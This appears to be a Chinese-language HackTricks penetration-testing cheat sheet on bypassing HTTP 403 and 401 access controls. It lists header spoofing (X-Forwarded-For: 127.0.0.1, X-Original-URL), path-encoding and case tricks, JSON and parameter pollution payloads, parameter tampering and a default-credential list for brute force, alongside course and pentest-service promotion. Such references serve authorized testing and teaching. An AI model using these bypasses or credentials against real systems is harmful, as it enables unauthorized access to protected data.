403 & 401 Bypasses

从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家)

支持HackTricks的其他方式:

即时可用的漏洞评估和渗透测试设置。从侦察到报告,使用20多种工具和功能进行完整的渗透测试。我们不取代渗透测试人员 - 我们开发定制工具、检测和利用模块,让他们有更多时间深入挖掘、弹出shell并享受乐趣。

HTTP动词/方法模糊测试

尝试使用不同的动词访问文件:GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK

  • 检查响应头,也许会提供一些信息。例如,对于带有Content-Length: 55HEAD响应200,意味着HEAD动词可以访问信息。但您仍然需要找到一种方法来提取该信息。

  • 使用类似X-HTTP-Method-Override: PUT的HTTP头可以覆盖使用的动词。

  • 使用**TRACE动词,如果非常幸运,也许在响应中您还可以看到由中间代理添加的头部**,这可能会很有用。

HTTP头部模糊测试

  • Host头部更改为某个任意值(在这里有效

  • 尝试使用其他用户代理访问资源。

  • 模糊HTTP头部:尝试使用HTTP代理头部、HTTP身份验证基本和NTLM暴力破解(仅使用少量组合)和其他技术。为了执行所有这些操作,我创建了工具fuzzhttpbypass

  • X-Originating-IP: 127.0.0.1

  • X-Forwarded-For: 127.0.0.1

  • X-Forwarded: 127.0.0.1

  • Forwarded-For: 127.0.0.1

  • X-Remote-IP: 127.0.0.1

  • X-Remote-Addr: 127.0.0.1

  • X-ProxyUser-Ip: 127.0.0.1

  • X-Original-URL: 127.0.0.1

  • Client-IP: 127.0.0.1

  • True-Client-IP: 127.0.0.1

  • Cluster-Client-IP: 127.0.0.1

  • X-ProxyUser-Ip: 127.0.0.1

  • Host: localhost

如果路径受保护,您可以尝试使用以下其他头部来绕过路径保护:

  • X-Original-URL: /admin/console

  • X-Rewrite-URL: /admin/console

  • 如果页面位于代理后面,也许是代理阻止您访问私人信息。尝试滥用HTTP请求劫持 逐跳头部

  • 在模糊HTTP方法时,模糊特殊HTTP头部

  • 删除Host头部,也许您将能够绕过保护。

路径模糊测试

如果_/path_被阻止:

  • 尝试使用_/_%2e/path _(如果访问被代理阻止,这可能会绕过保护)。也尝试_** /%252e**/path (双URL编码)**

  • 尝试Unicode绕过/%ef%bc%8fpath(URL编码字符类似于"/"),因此当解码后,它将变为_//path_,也许您已经绕过了_path_名称检查

  • 其他路径绕过

  • site.com/secret –> HTTP 403 Forbidden

  • site.com/SECRET –> HTTP 200 OK

  • site.com/secret/ –> HTTP 200 OK

  • site.com/secret/. –> HTTP 200 OK

  • site.com//secret// –> HTTP 200 OK

  • site.com/./secret/.. –> HTTP 200 OK

  • site.com/;/secret –> HTTP 200 OK

  • site.com/.;/secret –> HTTP 200 OK

  • site.com//;//secret –> HTTP 200 OK

  • site.com/secret.json –> HTTP 200 OK (ruby)

  • 在以下情况下使用所有此列表

  • /FUZZsecret

  • /FUZZ/secret

  • /secretFUZZ

  • 其他API绕过

  • /v3/users_data/1234 --> 403 Forbidden

  • /v1/users_data/1234 --> 200 OK

  • {“id”:111} --> 401 未经授权

  • {“id”:[111]} --> 200 OK

  • {“id”:111} --> 401 未经授权

  • {“id”:{“id”:111}} --> 200 OK

  • {"user_id":"<legit_id>","user_id":"<victims_id>"} (JSON参数污染)

  • user_id=ATTACKER_ID&user_id=VICTIM_ID (参数污染)

参数操纵

  • 更改 参数值: 从 id=123 --> id=124

  • 向URL添加额外参数: ?id=124 —-> id=124&isAdmin=true

  • 删除参数

  • 重新排列参数

  • 使用特殊字符。

  • 在参数中执行边界测试 — 提供值如 -234099999999 (仅为示例值)。

协议版本

如果使用 HTTP/1.1 尝试使用 1.0,甚至测试是否支持 2.0

其他绕过方式

暴力破解

  • 猜测密码: 尝试以下常见凭据。您了解受害者的一些信息吗?或者CTF挑战的名称?

  • 暴力破解: 尝试基本、摘要和NTLM认证。

常见凭据
admin    admin
admin    password
admin    1234
admin    admin1234
admin    123456
root     toor
test     test
guest    guest

自动化工具

即时可用的漏洞评估和渗透测试设置。从任何地方运行完整的渗透测试,具备20多种工具和功能,从侦察到报告。我们不取代渗透测试人员 - 我们开发定制工具、检测和利用模块,为他们节省时间深入挖掘、弹出shell并享受乐趣。

从零开始学习AWS黑客技术,成为英雄,使用 htARTE(HackTricks AWS红队专家)

支持HackTricks的其他方式:

最后更新于